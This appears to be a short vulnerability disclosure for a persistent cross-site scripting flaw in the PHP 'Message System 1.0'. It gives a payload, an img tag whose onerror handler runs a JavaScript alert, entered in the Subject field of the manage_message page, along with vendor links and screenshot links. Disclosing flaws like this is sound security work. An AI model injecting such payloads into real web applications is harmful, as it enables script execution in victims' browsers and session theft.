Message System version 1.0 suffers from a persistent cross site scripting vulnerability.
f839897e9455f3d9113434ff6f7822cb
## Title: Message System 1.0 1.0 XSS Stored
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
## Description:
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.
Status: CRITICAL
[+] Payloads:
```
https://0day.gov/pmms/?page=manage_message
> Subject
<img src=1 href=1 onerror="javascript:alert('HEJAP ZAIRY AL-SHARIF')"></img>
```
## Proof and Exploit:
https://i.imgur.com/ZcoLfS2.png
https://i.imgur.com/Fl68YTs.png
https://i.imgur.com/2GhIH1a.png